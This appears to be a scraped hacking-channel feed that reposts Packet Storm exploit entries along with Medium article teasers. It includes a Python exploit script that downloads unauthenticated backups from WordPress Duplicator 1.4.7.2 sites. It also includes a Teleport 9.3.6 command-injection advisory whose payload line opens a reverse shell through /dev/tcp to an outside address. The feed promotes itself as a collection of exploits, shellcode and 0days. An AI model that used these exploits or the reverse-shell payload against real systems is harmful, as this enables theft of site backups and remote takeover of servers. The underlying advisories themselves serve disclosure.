Hacking Articles Tips Tricks Videos Tutorials

6 views16:50

Exploit Collector
WordPress Duplicator 1.4.7.2 Backup Disclosure

https://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png
WordPress Duplicator plugin version 1.4.7.2 suffers from a backup disclosure vulnerability.

SHA-256 | 4b429acd0d9ab9938f8fc1e0f2d883938eed396e2695e2c2d455e519b5de3ad0

Download

## Title: WordPress Plugin Duplicator 1.4.7.2 - Unauthenticated Backup Download
## Author: nu11secur1ty
## Date: 08.23.2022
## Vendor: https://wordpress.org/
## Software: https://wordpress.org/plugins/duplicator/
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin-1.4.7.2

## Description:
The WordPress Plugin Duplicator 1.4.7.2 suffers from Unauthenticated
Backup Download, after an update from the 1.4.7.1 version.
The attacker can download all archive information from the system by
using this vulnerability!
Status: CRITICAL

[+] Exploit:

```python
#!/usr/bin/python
# Author nu11secur1ty
from selenium import webdriver
import time
import os

print("Test if you can access the directory\n")
time.sleep(5)
os.system('curl http://pwned-host.com/wordpress/wp-content/backups-dup-lite/')
target=input("Give the name of the archive...\n")
driver = webdriver.Chrome()
driver.get('http://pwned-host.com/wordpress/wp-content/backups-dup-lite/'
+ target)

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin-1.4.7.2)

## Proof and Exploit:
[href](https://streamable.com/x0cvjh)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

WordPress Duplicator 1.4.7.2 Backup Disclosure

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 16:50

Hacking Articles Tips Tricks Videos Tutorials

5 views16:50

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Teleport 9.3.6 Command Injection

https://1.bp.blogspot.com/-nibhxYxL_dU/WWlvdqzVqgI/AAAAAAAAIPo/_mHlQijSxHEwrD5GdeVybD20bu3Iyyg_QCLcBGAs/s1600/h8.png
Teleport 9.3.6 is vulnerable to command injection leading to remote code execution. An attacker can craft a malicious ssh agent installation link by URL encoding a bash escape with carriage return line feed. This url encoded payload can be used in place of a token and sent to a user in a social engineering attack. This is fully unauthenticated attack utilizing the trusted teleport server to deliver the payload.

SHA-256 | 5228298638858e0e106cda75b65bd4c283027b5bc6dff934d99ebc3b59a112f7

Download

Description:Teleport 9.3.6 is vulnerable to Command injection leading to Remote
Code Execution. An attacker can craft a malicious ssh agent
installation link by URL encoding a bash escape with carriage return
line feed. This url encoded payload can be used in place of a token and
sent to a user in a social engineering attack. This is fully
unauthenticated attack utilizing the trusted teleport server to deliver
the payload.

Additional Information:https://goteleport.com/
https://github.com/gravitational/teleport
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36633

Vulnerability Type: otherCommand injection leading to Remote Code Execution

Vendor of Product:Teleport - https://goteleport.com/
Affected software version: Teleport version < v10.1.2

Affected Component:https://teleport.examplesite.com/scripts/*INJECTION-POINT*/install-node.sh?method=iam  /dev/tcp/10.0.0.1/5555 0<&1&1 #

Patch information:https://goteleport.com/docs/changelog/#1012
https://github.com/gravitational/teleport/pull/14944
------------------------------------------

Discoverers:
Brandon Roach & Brian Landrum

------------------------------------------

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Teleport 9.3.6 Command Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 16:50

Hacking Articles Tips Tricks Videos Tutorials

8 views16:50

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
10-Strike Network Inventory Explorer 9.3 Buffer Overflow

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

10-Strike Network Inventory Explorer 9.3 Buffer Overflow

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 16:50

Hacking Articles Tips Tricks Videos Tutorials

Broken Access Control

Broken Access Control vulnerabilities are common in modern applications since the design and implementation of access control mechanisms…Continue reading on Medium »
Read more...

8 views17:10

Hacking Articles Tips Tricks Videos Tutorials

7 views17:42

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking on Medium
How Much Do Ethical Hackers Make? (+ brief info on salaries)

https://cdn-images-1.medium.com/max/1000/1*RE4wdFf8S4jkwSw-sE2_Vg.jpeg
You may have seen the classic hacker type from features like “Mr. Robot” or “The Girl with the Dragon Tattoo” and wondered how much they…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Medium

How Much Do Ethical Hackers Make? (+ brief info on salaries)

You may have seen the classic hacker type from features like “Mr. Robot” or “The Girl with the Dragon Tattoo” and wondered how much they…

6 viewsedited 17:42

Hacking Articles Tips Tricks Videos Tutorials

4 views17:42